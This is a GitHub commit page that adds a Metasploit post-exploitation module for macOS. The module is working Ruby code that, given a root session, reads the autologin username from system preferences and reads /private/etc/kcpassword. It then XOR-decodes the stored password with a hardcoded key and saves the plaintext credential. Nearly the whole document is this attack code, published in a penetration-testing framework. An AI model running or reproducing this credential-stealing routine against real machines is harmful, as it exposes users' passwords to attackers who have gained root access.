Skip to content

Commit 8dfa2e6

Browse files
committed
Land rapid7#2734 - OSX Gather Autologin Password as Root
2 parents 4bddd07 + 5011c4d commit 8dfa2e6

File tree

1 file changed

+83
-0
lines changed

1 file changed

+83
-0
lines changed
Lines changed: 83 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,83 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Post
9+
include Msf::Post::File
10+
11+
# extract/verify by by XORing your kcpassword with your password
12+
AUTOLOGIN_XOR_KEY = [0x7D, 0x89, 0x52, 0x23, 0xD2, 0xBC, 0xDD, 0xEA, 0xA3, 0xB9, 0x1F]
13+
14+
def initialize(info={})
15+
super(update_info(info,
16+
'Name' => 'OSX Gather Autologin Password as Root',
17+
'Description' => %q{
18+
This module will steal the plaintext password of any user on the machine
19+
with autologin enabled. Root access is required.
20+
21+
When a user has autologin enabled (System Preferences -> Accounts), OSX
22+
stores their password with an XOR encoding in /private/etc/kcpassword.
23+
},
24+
'License' => MSF_LICENSE,
25+
'Author' => [ 'joev' ],
26+
'Platform' => [ 'osx' ],
27+
'References' => [
28+
['URL', 'http://www.brock-family.org/gavin/perl/kcpassword.html']
29+
],
30+
'SessionTypes' => [ 'shell' ]
31+
))
32+
33+
register_advanced_options([
34+
OptString.new('KCPASSWORD_PATH', [true, 'Path to kcpassword file', '/private/etc/kcpassword'])
35+
], self.class)
36+
end
37+
38+
def run
39+
# ensure the user is root (or can read the kcpassword)
40+
unless user == 'root'
41+
fail_with(Failure::NoAccess, "Root privileges are required to read kcpassword file")
42+
end
43+
44+
# read the autologin account from prefs plist
45+
read_cmd = "defaults read /Library/Preferences/com.apple.loginwindow autoLoginUser username"
46+
autouser = cmd_exec("/bin/sh -c '#{read_cmd} 2> /dev/null'")
47+
48+
if autouser.present?
49+
print_status "User #{autouser} has autologin enabled, decoding password..."
50+
else
51+
fail_with(Failure::NotVulnerable, "No users on this machine have autologin enabled")
52+
end
53+
54+
# kcpass contains the XOR'd bytes
55+
kcpass = read_file(kcpassword_path)
56+
key = AUTOLOGIN_XOR_KEY
57+
58+
# decoding routine, slices into 11 byte chunks and XOR's each chunk
59+
decoded = kcpass.bytes.to_a.each_slice(key.length).map do |kc|
60+
kc.each_with_index.map { |byte, idx| byte ^ key[idx] }.map(&:chr).join
61+
end.join.sub(/\x00.*$/, '')
62+
63+
# save in the database
64+
report_auth_info(
65+
:host => session.session_host,
66+
:sname => 'login',
67+
:user => autouser,
68+
:pass => decoded,
69+
:active => true
70+
)
71+
print_good "Decoded autologin password: #{autouser}:#{decoded}"
72+
end
73+
74+
private
75+
76+
def kcpassword_path
77+
datastore['KCPASSWORD_PATH']
78+
end
79+
80+
def user
81+
@user ||= cmd_exec('whoami').chomp
82+
end
83+
end

0 commit comments

Comments
 (0)